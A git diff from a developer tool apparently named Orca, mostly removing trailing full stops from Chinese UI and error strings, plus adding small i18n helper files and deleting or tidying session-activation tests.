         "title": "任务",
-        "lede": "直接从 GitHub 或 Linear 开始工作。"
+        "lede": "直接从 GitHub 或 Linear 开始工作"
       },
       "agents": {
         "title": "智能体",
-        "lede": "同时运行多个智能体，跟踪进度，并在需要时通过自动化操控 Orca。"
+        "lede": "同时运行多个智能体，跟踪进度，并在需要时通过自动化操控 Orca"
       },
       "workbench": {
         "title": "工作台",
-        "lede": "将常用的终端配置带入 Orca，再拆分窗格，让服务器、测试、日志和智能体并排运行。"
+        "lede": "将常用的终端配置带入 Orca，再拆分窗格，让服务器、测试、日志和智能体并排运行"
       },
       "review": {
         "title": "代码评审",
-        "lede": "审阅更改，留下有针对性的反馈，再发送给智能体。"
+        "lede": "审阅更改，留下有针对性的反馈，再发送给智能体"
       }
     },
     "steps": {
       "statuses": {
         "name": "可见性",
         "subtitle": "智能体可见性",
-        "description": "了解哪些智能体正在工作、等待、处于活跃状态或已被阻塞。"
+        "description": "了解哪些智能体正在工作、等待、处于活跃状态或已被阻塞"
       },
       "orchestration": {
         "name": "编排",
-        "description": "让智能体管理和协调 Orca 工作区，以执行更大规模的任务。"
+        "description": "让智能体管理和协调 Orca 工作区，以执行更大规模的任务"
       },
       "usage": {
         "name": "用量",
-        "description": "查看所有已连接账户的用量和速率限制，掌握切换账户的时机。"
+        "description": "查看所有已连接账户的用量和速率限制，掌握切换账户的时机"
       },
       "terminal": {
         "name": "终端",
-        "description": "同时查看智能体、测试和开发日志。"
+        "description": "同时查看智能体、测试和开发日志"
       },
       "editor": {
         "name": "编辑器",
-        "description": "使用 Notion 风格的 Markdown 编辑器，无需离开 Orca 即可记笔记。"
+        "description": "使用 Notion 风格的 Markdown 编辑器，无需离开 Orca 即可记笔记"
       },
       "browser": {
         "name": "浏览器",
-        "description": "在 Orca 浏览器中运行应用，将选中的 UI 元素发送给智能体，并让智能体与你的网页交互。"
+        "description": "在 Orca 浏览器中运行应用，将选中的 UI 元素发送给智能体，并让智能体与你的网页交互"
       },
       "notes": {
         "name": "笔记",
         "subtitle": "笔记与差异",
-        "description": "向智能体发送有针对性的评审笔记。"
+        "description": "向智能体发送有针对性的评审笔记"
       },
       "prView": {
         "name": "PR 检查项",
         "subtitle": "PR 检查项与评论",
-        "description": "在“检查项”标签页中查看 PR 状态。"
+        "description": "在“检查项”标签页中查看 PR 状态"
       },
       "ship": {
         "name": "借助 AI 交付",
-        "description": "让 AI 为你准备提交和 PR 草稿。"
+        "description": "让 AI 为你准备提交和 PR 草稿"
       }
     },
     "tiles": {
@@ -23177,38 +23623,38 @@
   },
   "emulator": {
     "errors": {
-      "disabled": "手机模拟器已在设置中禁用。",
-      "notAvailable": "手机模拟器不可用。",
+      "disabled": "手机模拟器已在设置中禁用",
+      "notAvailable": "手机模拟器不可用",
       "noSession": "没有活动的模拟器会话",
-      "noDeviceSpecified": "未指定模拟器设备。请在设置 > 手机模拟器中选择默认设备，或传入设备。",
-      "workspaceChanged": "模拟器启动期间工作区已更改。请重新连接模拟器。",
-      "noIosSimulators": "未找到 iOS 模拟器。请在 Xcode Settings > Platforms 中添加一个。",
-      "simctlUnavailable": "xcrun simctl 不可用。",
-      "simulatorToolsUnavailable": "Xcode Simulator 工具不可用。请安装完整版 Xcode，打开一次，然后使用 `sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer` 选择它。",
-      "requiresMacosXcode": "iOS 模拟器需要安装了 Xcode Command Line Tools 的 macOS。",
-      "simulatorNotFound": "未找到模拟器 {{udid}}。请通过 Xcode > Window > Devices and Simulators 创建一个。",
-      "serveSimUnavailable": "serve-sim 不可用。",
-      "serveSimNoEndpoints": "serve-sim 未返回流端点。",
-      "serveSimEndpointUnreachable": "serve-sim 已启动，但无法访问其流端点。",
+      "noDeviceSpecified": "未指定模拟器设备。请在设置 > 手机模拟器中选择默认设备，或传入设备",
+      "workspaceChanged": "模拟器启动期间工作区已更改。请重新连接模拟器",
+      "noIosSimulators": "未找到 iOS 模拟器。请在 Xcode Settings > Platforms 中添加一个",
+      "simctlUnavailable": "xcrun simctl 不可用",
+      "simulatorToolsUnavailable": "Xcode Simulator 工具不可用。请安装完整版 Xcode，打开一次，然后使用 `sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer` 选择它",
+      "requiresMacosXcode": "iOS 模拟器需要安装了 Xcode Command Line Tools 的 macOS",
+      "simulatorNotFound": "未找到模拟器 {{udid}}。请通过 Xcode > Window > Devices and Simulators 创建一个",
+      "serveSimUnavailable": "serve-sim 不可用",
+      "serveSimNoEndpoints": "serve-sim 未返回流端点",
+      "serveSimEndpointUnreachable": "serve-sim 已启动，但无法访问其流端点",
       "deviceHubInputBlocked": "Xcode 的 Device Hub 已接管此模拟器的输入，因此点按和输入都无法送达。请退出 Device Hub，然后重新连接模拟器。",
-      "androidSdkMissing": "未找到 Android SDK。请安装 Android Studio 并设置 ANDROID_HOME。",
-      "adbUnavailable": "adb 不可用。",
-      "noAndroidDevices": "未找到 Android 设备或 AVD。请在 Android Studio 中创建一个。",
-      "androidDeviceNotRunning": "Android 设备“{{device}}”未运行。请先启动它。",
-      "unknownDeviceOrAvd": "“{{device}}”不是正在运行的设备，也不是已知的 AVD。",
-      "avdBootTimeout": "AVD “{{avdName}}”未能及时完成启动。",
+      "androidSdkMissing": "未找到 Android SDK。请安装 Android Studio 并设置 ANDROID_HOME",
+      "adbUnavailable": "adb 不可用",
+      "noAndroidDevices": "未找到 Android 设备或 AVD。请在 Android Studio 中创建一个",
+      "androidDeviceNotRunning": "Android 设备“{{device}}”未运行。请先启动它",
+      "unknownDeviceOrAvd": "“{{device}}”不是正在运行的设备，也不是已知的 AVD",
+      "avdBootTimeout": "AVD “{{avdName}}”未能及时完成启动",
       "avdExitedBeforeBoot": "AVD “{{avdName}}”在完成启动前已停止：{{detail}}",
       "scrcpyDownloadFailed": "无法下载 scrcpy 服务器：{{detail}}",
-      "scrcpyServerInvalid": "下载的 scrcpy 服务器无效或不完整。"
+      "scrcpyServerInvalid": "下载的 scrcpy 服务器无效或不完整"
     },
     "pane": {
-      "listDevicesFailed": "无法列出模拟器设备。",
-      "noDevices": "未找到模拟器设备。请在 Xcode 中添加 iOS 模拟器，或在 Android Studio 中添加 Android 虚拟设备。",
-      "startFailed": "无法启动模拟器。请确保已配置好 Xcode（iOS）或 Android Studio（Android），然后尝试其他设备。",
-      "shutdownFailed": "无法关闭模拟器。请重试，或通过模拟器管理器停止它。"
+      "listDevicesFailed": "无法列出模拟器设备",
+      "noDevices": "未找到模拟器设备。请在 Xcode 中添加 iOS 模拟器，或在 Android Studio 中添加 Android 虚拟设备",
+      "startFailed": "无法启动模拟器。请确保已配置好 Xcode（iOS）或 Android Studio（Android），然后尝试其他设备",
+      "shutdownFailed": "无法关闭模拟器。请重试，或通过模拟器管理器停止它"
     },
     "settings": {
-      "availabilityCheckFailed": "无法检查模拟器可用性。"
+      "availabilityCheckFailed": "无法检查模拟器可用性"
     },
     "opening": {
       "when": "打开时",
@@ -23241,65 +23687,65 @@
   "ephemeralVm": {
     "errors": {
       "repoNotFound": "未找到仓库：{{repoId}}",
-      "remoteRepoUnsupported": "在 v1 中，临时虚拟机环境模板在本地桌面主机上运行。",
+      "remoteRepoUnsupported": "在 v1 中，临时虚拟机环境模板在本地桌面主机上运行",
       "recipeNotFound": "未找到环境模板：{{recipeId}}",
       "runtimeNotFound": "未知的临时虚拟机运行时：{{runtimeId}}",
       "runtimeRepoMissing": "临时虚拟机运行时没有仓库 ID：{{runtimeId}}",
-      "provisionCancelled": "预配已取消。",
+      "provisionCancelled": "预配已取消",
       "startRefUnresolved": "无法解析已预配根目录的起始引用：{{ref}}",
-      "defaultStartRefUnresolved": "无法解析已预配根目录的默认起始引用。",
-      "recipeExited": "环境模板已退出，退出码为 {{exitCode}}。",
-      "recipeResultMissing": "环境模板未生成 JSON 结果。",
-      "recipeResultNotJsonObject": "环境模板的 stdout 必须是单个 JSON 对象。",
-      "recipeResultPairingCodeInvalid": "环境模板结果中的 pairingCode 不是有效的 Orca 配对码。",
-      "recipeResultProjectRootNotAbsolute": "环境模板结果中的 projectRoot 必须是运行时中的绝对路径。",
-      "provisionedRootResultRequired": "使用已预配根目录的环境模板必须返回 schemaVersion 2，且 checkoutMode 为 \"provisioned-root\"。",
-      "provisionedRootNotConfigured": "环境模板结果请求使用已预配根目录检出模式，但环境模板未配置为使用此模式。",
-      "destroyExited": "销毁操作已退出，退出码为 {{exitCode}}。",
-      "destroyFailed": "销毁失败。",
-      "destroyDisabled": "此环境模板已禁用销毁。",
-      "cleanupStopped": "用户已停止清理。",
-      "cleanupInterrupted": "清理已中断。请重试清理以继续。",
-      "sshTargetRemoveFailed": "无法移除隐藏的 SSH 目标。",
-      "recipeExitedWithoutCode": "环境模板已退出，退出码未知。",
-      "destroyExitedWithoutCode": "销毁操作已退出，退出码未知。"
+      "defaultStartRefUnresolved": "无法解析已预配根目录的默认起始引用",
+      "recipeExited": "环境模板已退出，退出码为 {{exitCode}}",
+      "recipeResultMissing": "环境模板未生成 JSON 结果",
+      "recipeResultNotJsonObject": "环境模板的 stdout 必须是单个 JSON 对象",
+      "recipeResultPairingCodeInvalid": "环境模板结果中的 pairingCode 不是有效的 Orca 配对码",
+      "recipeResultProjectRootNotAbsolute": "环境模板结果中的 projectRoot 必须是运行时中的绝对路径",
+      "provisionedRootResultRequired": "使用已预配根目录的环境模板必须返回 schemaVersion 2，且 checkoutMode 为 \"provisioned-root\"",
+      "provisionedRootNotConfigured": "环境模板结果请求使用已预配根目录检出模式，但环境模板未配置为使用此模式",
+      "destroyExited": "销毁操作已退出，退出码为 {{exitCode}}",
+      "destroyFailed": "销毁失败",
+      "destroyDisabled": "此环境模板已禁用销毁",
+      "cleanupStopped": "用户已停止清理",
+      "cleanupInterrupted": "清理已中断。请重试清理以继续",
+      "sshTargetRemoveFailed": "无法移除隐藏的 SSH 目标",
+      "recipeExitedWithoutCode": "环境模板已退出，退出码未知",
+      "destroyExitedWithoutCode": "销毁操作已退出，退出码未知"
     }
   },
   "installDirAcl": {
-    "cause": "Orca 安装文件夹的 Windows 权限阻止了 Orca 自身的沙箱进程读取随应用附带的文件。",
-    "repaired": "Orca 已修复权限。请重新加载以应用。",
-    "repairing": "Orca 正在修复权限。",
-    "repairFailed": "Orca 无法修复权限，这通常意味着该文件夹需要管理员权限。",
+    "cause": "Orca 安装文件夹的 Windows 权限阻止了 Orca 自身的沙箱进程读取随应用附带的文件",
+    "repaired": "Orca 已修复权限。请重新加载以应用",
+    "repairing": "Orca 正在修复权限",
+    "repairFailed": "Orca 无法修复权限，这通常意味着该文件夹需要管理员权限",
     "runCommands": "在以管理员身份运行的命令提示符中执行以下命令，然后重新启动 Orca："
   },
   "pet": {
     "importErrors": {
-      "unsupportedFile": "不支持此文件。请选择 PNG、APNG、JPG、GIF、WebP 或 SVG。",
-      "fileUnreadable": "无法读取所选文件。",
+      "unsupportedFile": "不支持此文件。请选择 PNG、APNG、JPG、GIF、WebP 或 SVG",
+      "fileUnreadable": "无法读取所选文件",
       "notAFile": "所选路径不是文件",
-      "fileTooLarge": "文件过大（{{size}} MB）。最大允许 {{max}} MB。",
-      "saveFailed": "无法保存宠物。",
-      "pathUnreadable": "无法读取所选路径。",
-      "manifestMissing": "包中缺少 pet.json。",
-      "manifestInvalid": "pet.json 无效。",
-      "manifestSymlink": "pet.json 不能是符号链接。",
+      "fileTooLarge": "文件过大（{{size}} MB）。最大允许 {{max}} MB",
+      "saveFailed": "无法保存宠物",
+      "pathUnreadable": "无法读取所选路径",
+      "manifestMissing": "包中缺少 pet.json",
+      "manifestInvalid": "pet.json 无效",
+      "manifestSymlink": "pet.json 不能是符号链接",
       "manifestParseFailed": "无效的 pet.json：{{detail}}",
-      "bundleSaveFailed": "无法保存宠物包。",
-      "sheetPathNotRelative": "spritesheetPath 必须是相对于包的路径。",
-      "sheetPathIsRoot": "spritesheetPath 必须指向文件，而不是包的根目录。",
-      "sheetPathEscapes": "spritesheetPath 指向包之外的路径。",
-      "sheetSymlink": "精灵图不能是符号链接。",
-      "sheetUnsupportedType": "精灵图必须是 PNG、APNG、JPG、GIF 或 WebP 文件。",
-      "sheetNotFound": "找不到精灵图文件。",
-      "sheetNotAFile": "精灵图路径不是文件。",
-      "sheetTooLarge": "精灵图过大（{{size}} MB）。",
-      "sheetSizeLimitExceeded": "精灵图超出了大小限制。",
-      "sheetUndecodable": "无法解码精灵图图像。",
-      "sheetFrameMismatch": "精灵图尺寸 {{sheetWidth}}×{{sheetHeight}} 不是帧尺寸 {{frameWidth}}×{{frameHeight}} 的整数倍。",
-      "animationRowOutOfRange": "动画“{{name}}”引用了第 {{row}} 行，但精灵图只有 {{rows}} 行。",
-      "animationTooManyFrames": "动画“{{name}}”有 {{frames}} 帧，但精灵图只有 {{columns}} 列。",
-      "animationDurationMismatch": "动画“{{name}}”声明了 {{durations}} 个帧时长，但有 {{frames}} 帧。",
-      "defaultAnimationMissing": "defaultAnimation “{{name}}” 不在 animations 中。"
+      "bundleSaveFailed": "无法保存宠物包",
+      "sheetPathNotRelative": "spritesheetPath 必须是相对于包的路径",
+      "sheetPathIsRoot": "spritesheetPath 必须指向文件，而不是包的根目录",
+      "sheetPathEscapes": "spritesheetPath 指向包之外的路径",
+      "sheetSymlink": "精灵图不能是符号链接",
+      "sheetUnsupportedType": "精灵图必须是 PNG、APNG、JPG、GIF 或 WebP 文件",
+      "sheetNotFound": "找不到精灵图文件",
+      "sheetNotAFile": "精灵图路径不是文件",
+      "sheetTooLarge": "精灵图过大（{{size}} MB）",
+      "sheetSizeLimitExceeded": "精灵图超出了大小限制",
+      "sheetUndecodable": "无法解码精灵图图像",
+      "sheetFrameMismatch": "精灵图尺寸 {{sheetWidth}}×{{sheetHeight}} 不是帧尺寸 {{frameWidth}}×{{frameHeight}} 的整数倍",
+      "animationRowOutOfRange": "动画“{{name}}”引用了第 {{row}} 行，但精灵图只有 {{rows}} 行",
+      "animationTooManyFrames": "动画“{{name}}”有 {{frames}} 帧，但精灵图只有 {{columns}} 列",
+      "animationDurationMismatch": "动画“{{name}}”声明了 {{durations}} 个帧时长，但有 {{frames}} 帧",
+      "defaultAnimationMissing": "defaultAnimation “{{name}}” 不在 animations 中"
     },
     "defaultLabels": {
       "image": "自定义宠物",
@@ -23430,5 +23876,20 @@
       "dismiss": "关闭",
       "cancelDownload": "取消下载"
     }
+  },
+  "renderer": {
+    "lib": {
+      "filePreview": {
+        "remoteFileUnsupported": "仅本地文件可在 Orca 浏览器中打开",
+        "twinFileUnsupported": "该项目存在于多个主机上，Orca 无法确定要打开哪个副本"
+      }
+    }
+  },
+  "nestedImport": {
+    "error": {
+      "notInScan": "未在嵌套仓库扫描结果中找到该仓库",
+      "notGitRepository": "不是有效的 Git 仓库",
+      "importFailed": "无法导入仓库"
+    }
   }
 }
diff --git a/src/renderer/src/i18n/ui-language-memo-input.ts b/src/renderer/src/i18n/ui-language-memo-input.ts
new file mode 100644
index 00000000000..c3dc36d0b96
--- /dev/null
+++ b/src/renderer/src/i18n/ui-language-memo-input.ts
@@ -0,0 +1,7 @@
+/**
+ * Call inside a memo whose result holds translate() output. Passing the language through a call
+ * keeps it a real memo input for React Compiler and exhaustive-deps; a bare `void language` does not.
+ */
+export function readUiLanguageMemoInput(language: string): string {
+  return language
+}
diff --git a/src/renderer/src/i18n/unassigned-label.ts b/src/renderer/src/i18n/unassigned-label.ts
new file mode 100644
index 00000000000..c61ea4149fe
--- /dev/null
+++ b/src/renderer/src/i18n/unassigned-label.ts
@@ -0,0 +1,17 @@
+import { translate } from '@/i18n/i18n'
+
+/** English sentinel from shortcut formatters; translate only at display sites. */
+export const UNASSIGNED_SHORTCUT_SENTINEL = 'Unassigned'
+
+export function translateUnassignedLabel(): string {
+  return translate('common.unassigned', 'Unassigned')
+}
+
+export function localizeUnassignedDisplay(value: string): string {
+  return value === UNASSIGNED_SHORTCUT_SENTINEL ? translateUnassignedLabel() : value
+}
+
+/** True when a shortcut label is the unbound sentinel (EN or localized). */
+export function isUnassignedShortcutLabel(value: string): boolean {
+  return value === UNASSIGNED_SHORTCUT_SENTINEL || value === translateUnassignedLabel()
+}
diff --git a/src/renderer/src/lib/activate-ai-vault-structured-session-host.test.ts b/src/renderer/src/lib/activate-ai-vault-structured-session-host.test.ts
deleted file mode 100644
index be489e4d00a..00000000000
--- a/src/renderer/src/lib/activate-ai-vault-structured-session-host.test.ts
+++ /dev/null
@@ -1,220 +0,0 @@
-import { beforeEach, expect, it, vi } from 'vitest'
-import type { Tab } from '../../../shared/tab-types'
-
-const mocks = vi.hoisted(() => {
-  const tabs: Record<string, Tab[]> = {}
-  return {
-    navigate: vi.fn(),
-    moved: vi.fn(() => false),
-    call: vi.fn(),
-    supports: vi.fn(),
-    apply: vi.fn(),
-    activateTab: vi.fn(),
-    focusGroup: vi.fn(),
-    setActiveTabType: vi.fn(),
-    state: {
-      activeWorktreeId: 'workspace',
-      activeWorkspaceExecutionHostId: 'local' as const,
-      unifiedTabsByWorktree: tabs
-    }
-  }
-})
-vi.mock('sonner', () => ({ toast: { error: vi.fn() } }))
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionWorktreeTabs: async () => undefined
-}))
-vi.mock('./workspace/activation/worktree-activation', () => ({
-  activateAndRevealWorktree: mocks.navigate
-}))
-vi.mock('./workspace/activation/wsl-moved-chat-activation', () => ({
-  activateWslMovedWorkspace: mocks.moved
-}))
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      ...mocks.state,
-      activateTab: mocks.activateTab,
-      focusGroup: mocks.focusGroup,
-      setActiveTabType: mocks.setActiveTabType
-    })
-  }
-}))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  callRuntimeRpc: mocks.call
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-capability-proof', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  runtimeEnvironmentSupportsCapability: mocks.supports
-}))
-vi.mock('@/runtime/local-structured-session-tabs-sync/snapshot-apply', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  applyStructuredSessionTabSnapshots: mocks.apply
-}))
-
-import { openExistingStructuredSession } from './open-existing-structured-session'
-import {
-  activateAiVaultStructuredSession,
-  openDesktopStructuredSession
-} from './activate-ai-vault-structured-session'
-
-const TARGET = { kind: 'environment', environmentId: 'remote-2' } as const
-function tab(id: string, host: 'local' | 'runtime:remote-2'): Tab {
-  return {
-    id,
-    worktreeId: 'workspace',
-    entityId: 'sender',
-    executionHostId: host,
-    groupId: 'group',
-    contentType: 'agent-session',
-    label: 'Claude Chat',
-    customLabel: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 0
-  }
-}
-beforeEach(() => {
-  vi.clearAllMocks()
-  mocks.state.activeWorktreeId = 'workspace'
-  mocks.moved.mockReturnValue(false)
-  mocks.state.unifiedTabsByWorktree = { workspace: [tab('wrong-local', 'local')] }
-  mocks.supports.mockResolvedValue(true)
-  mocks.call.mockImplementation(async (_host, method: string) => {
-    if (method === 'orchestration.partyLocation') {
-      return { location: { kind: 'chat', sessionId: 'sender', worktreeId: 'workspace' } }
-    }
-    if (method === 'agentSession.reveal') {
-      // The paired mirror, rather than the local snapshot apply, publishes the revealed tab.
-      mocks.state.unifiedTabsByWorktree.workspace.push(tab('right-remote', 'runtime:remote-2'))
-    }
-    return { ok: true, sessionId: 'sender', workspaceId: 'workspace', agent: 'claude' }
-  })
-})
-
-it('bounds a missing local History lookup and releases coalescing for a legitimate retry', async () => {
-  vi.useFakeTimers()
-  try {
-    mocks.state.unifiedTabsByWorktree = {}
-    mocks.call.mockImplementation(async (_host, method) =>
-      method === 'orchestration.partyLocation' ? new Promise(() => {}) : { ok: true }
-    )
-    const session = { structuredSession: { sessionId: 'missing', workspaceId: 'workspace' } }
-    const first = activateAiVaultStructuredSession(session, undefined, { kind: 'local' })
-    const second = activateAiVaultStructuredSession(session, undefined, { kind: 'local' })
-    await vi.advanceTimersByTimeAsync(5001)
-    await Promise.all([first, second])
-    expect(
-      mocks.call.mock.calls.filter((call) => call[1] === 'orchestration.partyLocation')
-    ).toHaveLength(1)
-    const retry = activateAiVaultStructuredSession(session, undefined, { kind: 'local' })
-    await vi.advanceTimersByTimeAsync(5001)
-    await retry
-    expect(
-      mocks.call.mock.calls.filter((call) => call[1] === 'orchestration.partyLocation')
-    ).toHaveLength(2)
-  } finally {
-    vi.useRealTimers()
-  }
-})
-
-it('derives the implicit owner and refuses the equal-ID other-owner decoy', async () => {
-  mocks.state.unifiedTabsByWorktree.workspace.unshift(tab('wrong-remote', 'runtime:remote-2'))
-  const pointer = { structuredSession: { workspaceId: 'workspace', sessionId: 'sender' } }
-  expect(await activateAiVaultStructuredSession(pointer)).toBe(true)
-  expect(mocks.activateTab).toHaveBeenCalledExactlyOnceWith('wrong-local', {
-    worktreeId: 'workspace'
-  })
-  expect(mocks.supports).not.toHaveBeenCalled()
-  mocks.activateTab.mockClear()
-  await activateAiVaultStructuredSession(pointer, undefined, TARGET)
-  expect(mocks.activateTab).toHaveBeenCalledExactlyOnceWith('wrong-remote', {
-    worktreeId: 'workspace'
-  })
-})
-
-it.each(['initialize', 'activate'] as const)(
-  'admits before synchronous %s re-entry',
-  async (boundary) => {
-    const pointer = { workspaceId: 'workspace', sessionId: 'sync' }
-    const joined: Promise<unknown>[] = []
-    const joiningInitialize = vi.fn(() => true)
-    const joiningPresent = vi.fn()
-    const reenter = () =>
-      joined.push(
-        openExistingStructuredSession(pointer, {
-          target: TARGET,
-          initialize: joiningInitialize,
-          present: joiningPresent
-        })
-      )
-    const parts = {
-      tabs: () => [{ id: 'sync-tab', sessionId: pointer.sessionId }],
-      activate: vi.fn(() => {
-        if (boundary === 'activate') {
-          reenter()
-        }
-        return true
-      }),
-      refresh: vi.fn(async () => undefined),
-      reveal: vi.fn(async () => 'gone' as const)
-    }
-    const present = vi.fn()
-    expect(
-      await openExistingStructuredSession(pointer, {
-        target: TARGET,
-        deps: parts,
-        present,
-        initialize: () => {
-          if (boundary === 'initialize') {
-            reenter()
-          }
-          return true
-        }
-      })
-    ).toBe('activated')
-    expect(await Promise.all(joined)).toEqual(['activated'])
-    expect(parts.activate).toHaveBeenCalledOnce()
-    expect(present).toHaveBeenCalledOnce()
-    expect(joiningInitialize).not.toHaveBeenCalled()
-    expect(joiningPresent).not.toHaveBeenCalled()
-  }
-)
-
-it('keeps indirect continuation discovery independent from direct exact selection', async () => {
-  mocks.state.unifiedTabsByWorktree.workspace.push(tab('direct', 'runtime:remote-2'))
-  const successor = tab('successor-issued', 'runtime:remote-2')
-  successor.entityId = 'successor'
-  successor.agentSessionAgent = 'codex'
-  mocks.state.unifiedTabsByWorktree.workspace.push(successor)
-  const located = Promise.withResolvers<{
-    location: { kind: 'chat'; sessionId: string; worktreeId: string }
-  }>()
-  const locate = vi.fn(() => located.promise)
-  const indirect = openDesktopStructuredSession(
-    { kind: 'notification', worktreeId: 'workspace', sessionId: 'sender' },
-    TARGET,
-    undefined,
-    locate
-  )
-  const direct = activateAiVaultStructuredSession(
-    { structuredSession: { workspaceId: 'workspace', sessionId: 'sender' } },
-    undefined,
-    TARGET
-  )
-  expect(await direct).toBe(true)
-  expect(mocks.activateTab).toHaveBeenCalledExactlyOnceWith('direct', { worktreeId: 'workspace' })
-  located.resolve({ location: { kind: 'chat', sessionId: 'successor', worktreeId: 'workspace' } })
-  expect(await indirect).toEqual({
-    kind: 'opened',
-    target: { sessionId: 'successor', worktreeId: 'workspace', agent: 'codex' },
-    tab: { id: 'successor-issued', sessionId: 'successor', agent: 'codex' }
-  })
-  expect(locate).toHaveBeenCalledOnce()
-  expect(mocks.activateTab).toHaveBeenLastCalledWith('successor-issued', {
-    worktreeId: 'workspace'
-  })
-  expect(
-    mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.reveal')
-  ).toHaveLength(0)
-})
diff --git a/src/renderer/src/lib/activate-ai-vault-structured-session-reveal.test.ts b/src/renderer/src/lib/activate-ai-vault-structured-session-reveal.test.ts
deleted file mode 100644
index f640f70b1b3..00000000000
--- a/src/renderer/src/lib/activate-ai-vault-structured-session-reveal.test.ts
+++ /dev/null
@@ -1,122 +0,0 @@
-/** Negotiate reveal against the workspace’s answering host; local build capabilities say nothing about a paired host’s version. */
-
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-const mocks = vi.hoisted(() => ({
-  call: vi.fn(),
-  supports: vi.fn(),
-  environmentIdFor: vi.fn()
-}))
-
-// The real target resolution is the thing under test; only the transport is stubbed.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.call
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-capability-proof', () => ({
-  runtimeEnvironmentSupportsCapability: mocks.supports
-}))
-
-vi.mock('./workspace/ownership/worktree-runtime-owner', () => ({
-  runtimeEnvironmentIdOrLocalUnlessTwin: mocks.environmentIdFor
-}))
-
-import {
-  activateAiVaultStructuredSession,
-  revealStructuredSession
-} from './activate-ai-vault-structured-session'
-import { STRUCTURED_AGENT_SESSION_REVEAL_RUNTIME_CAPABILITY } from '../../../shared/agent-session/structured-agent-session-surface-capabilities'
-
-const target = { worktreeId: 'workspace-1', sessionId: 'session-1' }
-
-beforeEach(() => {
-  vi.clearAllMocks()
-  mocks.call.mockResolvedValue({
-    ok: true,
-    sessionId: target.sessionId,
-    workspaceId: target.worktreeId,
-    agent: 'codex'
-  })
-  mocks.supports.mockResolvedValue(true)
-  mocks.environmentIdFor.mockReturnValue(null)
-})
-
-describe('revealStructuredSession', () => {
-  it('keeps a known recipient target when the active workspace would resolve locally', async () => {
-    const host = { kind: 'environment', environmentId: 'recipient-host' } as const
-    await expect(revealStructuredSession({ ...target, target: host })).resolves.toEqual({
-      ...target,
-      agent: 'codex'
-    })
-    expect(mocks.supports).toHaveBeenCalledWith(
-      'recipient-host',
-      STRUCTURED_AGENT_SESSION_REVEAL_RUNTIME_CAPABILITY,
-      expect.any(Number)
-    )
-    expect(mocks.call).toHaveBeenCalledWith(
-      host,
-      'agentSession.reveal',
-      { sessionId: 'session-1' },
-      expect.any(Object)
-    )
-  })
-
-  it('reports a paired host that cannot open it rather than sending an unknown method', async () => {
-    // An old host’s method_not_found must request an update rather than claim the chat is gone.
-    mocks.environmentIdFor.mockReturnValue('legacy-env')
-    mocks.supports.mockResolvedValue(false)
-
-    await expect(revealStructuredSession(target)).resolves.toBe('host-cannot-open')
-
-    expect(mocks.call).not.toHaveBeenCalled()
-  })
-})
-
-it('returns the actual revealed identity/workspace/provider for reconciliation', async () => {
-  mocks.call.mockResolvedValue({
-    ok: true,
-    sessionId: 'successor',
-    workspaceId: 'actual-owner',
-    agent: 'claude'
-  })
-  expect(await revealStructuredSession(target)).toEqual({
-    sessionId: 'successor',
-    worktreeId: 'actual-owner',
-    agent: 'claude'
-  })
-})
-
-it('bounds a cached stalled probe, releases the shared click and permits a subsequent explicit retry', async () => {
-  vi.useFakeTimers()
-  const host = { kind: 'environment', environmentId: 'cached-stalled' } as const
-  const cached = new Promise<boolean>(() => {})
-  mocks.supports.mockReturnValue(cached)
-  mocks.call.mockImplementation(async () => ({
-    location: { kind: 'chat', sessionId: target.sessionId, worktreeId: target.worktreeId }
-  }))
-  const parts = {
-    tabs: () => [],
-    activate: vi.fn(() => false),
-    refresh: vi.fn(async () => undefined),
-    reveal: revealStructuredSession,
-    unavailable: vi.fn(),
-    gone: vi.fn(),
-    hostCannotOpen: vi.fn()
-  }
-  const session = {
-    structuredSession: { workspaceId: target.worktreeId, sessionId: target.sessionId }
-  }
-  try {
-    const click = activateAiVaultStructuredSession(session, parts, host)
-    await vi.advanceTimersByTimeAsync(5_001)
-    expect(await click).toBe(true)
-    expect(parts.unavailable).toHaveBeenCalledOnce()
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual([
-      'orchestration.partyLocation'
-    ])
-    mocks.supports.mockResolvedValue(false)
-    expect(await activateAiVaultStructuredSession(session, parts, host)).toBe(true)
-    expect(parts.hostCannotOpen).toHaveBeenCalledOnce()
-  } finally {
-    vi.useRealTimers()
-  }
-})
diff --git a/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts b/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts
index 4f163da4f5a..cc1c5ed36d5 100644
--- a/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts
+++ b/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts
@@ -1,24 +1,22 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
 import { useAppStore } from '@/store/index'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { getDefaultSettings } from '../../../../../shared/constants'
-import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
-import type * as localPreflightContext from '@/lib/local-preflight-context'
 import { resolveAgentResumeLaunchTarget } from '@/lib/agent-session/resume/agent-resume-launch-target'
 import { makeTerminalTab } from '@/store/terminals/terminal-row.test-fixture'
 import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
 import { TEST_REPO } from '@/store/repos/repo.test-fixture'
-import {
-  buildPaneAccountRestartStartup,
-  type AgentAccountRestartStartup
-} from './agent-account-restart-startup'
+import { buildPaneAccountRestartStartup } from './agent-account-restart-startup'
+import type { AgentAccountRestartStartup } from './agent-account-restart-startup'
+import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
